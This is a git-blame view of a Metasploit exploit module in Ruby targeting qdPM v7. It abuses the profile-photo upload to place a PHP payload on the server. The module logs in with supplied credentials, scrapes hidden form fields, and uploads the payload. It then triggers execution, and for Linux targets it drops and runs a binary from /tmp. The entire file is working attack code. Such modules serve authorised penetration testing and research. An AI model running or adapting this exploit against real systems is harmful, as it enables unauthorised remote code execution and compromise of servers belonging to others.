Files
metasploit-gs/modules/exploits/multi/http/qdpm_upload_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

271 lines
8.4 KiB
Ruby
Raw Normal View History

2012-09-13 10:01:08 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-09-13 10:01:08 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-09-13 10:01:08 -05:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def initialize(info={})
super(update_info(info,
'Name' => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in qdPM - a web-based project management
software. The user profile's photo upload feature can be abused to upload any
arbitrary file onto the victim server machine, which allows remote code execution.
Please note in order to use this module, you must have a valid credential to sign
in.
},
'License' => MSF_LICENSE,
'Author' =>
[
'loneferret', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '82978'],
2012-09-13 10:01:08 -05:00
['EDB', '19154']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
2015-09-01 10:43:45 +02:00
'EXITFUNC' => 'thread'
2012-09-13 10:01:08 -05:00
},
'Platform' => %w{ linux php },
2012-09-13 10:01:08 -05:00
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-06-14',
2012-09-13 10:01:08 -05:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
OptString.new('USERNAME', [true, 'The username to login with']),
OptString.new('PASSWORD', [true, 'The password to login with'])
])
self.needs_cleanup = true
2012-09-13 10:01:08 -05:00
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def check
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
2013-08-30 16:28:54 -05:00
2013-01-30 23:23:41 -06:00
res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")})
2012-09-13 10:01:08 -05:00
if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
major, minor = $1, $2
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Appears if (major+minor).to_i <= 70
2012-09-13 10:01:08 -05:00
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
return Exploit::CheckCode::Safe
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def get_write_exec_payload(fname, data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %Q|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("chmod 777 #{fname}");
exec("#{fname}");
?>
|
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
2012-09-13 10:01:08 -05:00
return php
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def on_new_session(cli)
if cli.type == "meterpreter"
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
@clean_files.each do |f|
2016-02-01 15:12:03 -06:00
print_warning("Removing: #{f}")
2012-09-13 10:01:08 -05:00
begin
if cli.type == 'meterpreter'
cli.fs.file.rm(f)
else
cli.shell_command_token("rm #{f}")
end
rescue ::Exception => e
2016-02-01 15:12:03 -06:00
print_error("Unable to remove #{f}: #{e.message}")
2012-09-13 10:01:08 -05:00
end
end
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def login(base, username, password)
# Login
res = send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{base}/index.php/home/login"),
2012-09-13 10:01:08 -05:00
'vars_post' => {
'login[email]' => username,
'login[password]' => password,
'http_referer' => ''
},
# This needs to be set, otherwise we get two cookies... I don't need two cookies.
'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
}
})
2013-08-30 16:28:54 -05:00
2014-05-13 22:56:12 +02:00
cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : ''
2012-09-13 10:01:08 -05:00
return {} if cookie.empty?
cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
# Get user data
2016-02-01 15:12:03 -06:00
vprint_status("Enumerating user data")
2012-09-13 10:01:08 -05:00
res = send_request_raw({
'uri' => "#{base}/index.php/home/myAccount",
'cookie' => cookie
})
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
return {} if not res
2012-09-13 10:33:43 -05:00
if res.code == 404
2016-02-01 15:12:03 -06:00
print_error("#{username} does not actually have a 'myAccount' page")
2012-09-13 10:33:43 -05:00
return {}
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
b = res.body
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || ''
group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || ''
user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || ''
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
opts = {
'cookie' => cookie,
'user_id' => user_id,
'group_id' => group_id,
'user_active' => user_active
}
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
return opts
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def upload_php(base, opts)
fname = opts['filename']
php_payload = opts['data']
user_id = opts['user_id']
group_id = opts['group_id']
user_active = opts['user_active']
username = opts['username']
email = opts['email']
cookie = opts['cookie']
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
data = Rex::MIME::Message.new
data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
data.add_part('put', nil, nil, 'form-data; name="sf_method"')
data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
data.add_part('', nil, nil, 'form-data; name="users[skin]"')
data.add_part(username, nil, nil, 'form-data; name="users[name]"')
data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
data.add_part('', nil, nil, 'form-data; name="preview_photo"')
data.add_part(email, nil, nil, 'form-data; name="users[email]"')
data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
data.add_part('', nil, nil, 'form-data; name="new_password"')
2013-08-30 16:28:54 -05:00
2014-02-10 22:23:23 -06:00
post_data = data.to_s
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
res = send_request_cgi({
'method' => 'POST',
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
2012-09-13 10:01:08 -05:00
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'cookie' => cookie,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
})
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def exec_php(base, opts)
cookie = opts['cookie']
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
# When we upload a file, it will be renamed. The 'myAccount' page has that info.
res = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
2012-09-13 10:01:08 -05:00
'cookie' => cookie
})
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
if not res
2016-02-01 15:12:03 -06:00
print_error("Unable to request the file")
2012-09-13 10:01:08 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || ''
if fname.empty?
2016-02-01 15:12:03 -06:00
print_error("Unable to extract the real filename")
2012-09-13 10:01:08 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
# Now that we have the filename, request it
2016-02-01 15:12:03 -06:00
print_status("Uploaded file was renmaed as '#{fname}'")
2012-09-13 10:01:08 -05:00
send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
handler
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
def exploit
2012-11-08 17:42:48 +01:00
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
base = File.dirname("#{uri}.")
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
user = datastore['USERNAME']
pass = datastore['PASSWORD']
2016-02-01 15:12:03 -06:00
print_status("Attempt to login with '#{user}:#{pass}'")
2012-09-13 10:01:08 -05:00
opts = login(base, user, pass)
if opts.empty?
2016-02-01 15:12:03 -06:00
print_error("Login unsuccessful")
2012-09-13 10:01:08 -05:00
return
end
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
@clean_files = [php_fname]
2013-08-30 16:28:54 -05:00
2012-09-13 10:01:08 -05:00
case target['Platform']
when 'php'
p = "<?php #{payload.encoded} ?>"
when 'linux'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
@clean_files << bin_name
bin = generate_payload_exe
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Uploading PHP payload (#{p.length.to_s} bytes)...")
2012-09-13 10:01:08 -05:00
opts = opts.merge({
'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
'email' => user,
'filename' => php_fname,
'data' => p
})
uploader = upload_php(base, opts)
if not uploader
2016-02-01 15:12:03 -06:00
print_error("Unable to upload")
2012-09-13 10:01:08 -05:00
return
end
2013-08-30 16:28:54 -05:00
2016-02-01 15:12:03 -06:00
print_status("Executing '#{php_fname}'")
2012-09-13 10:01:08 -05:00
exec_php(base, opts)
end
end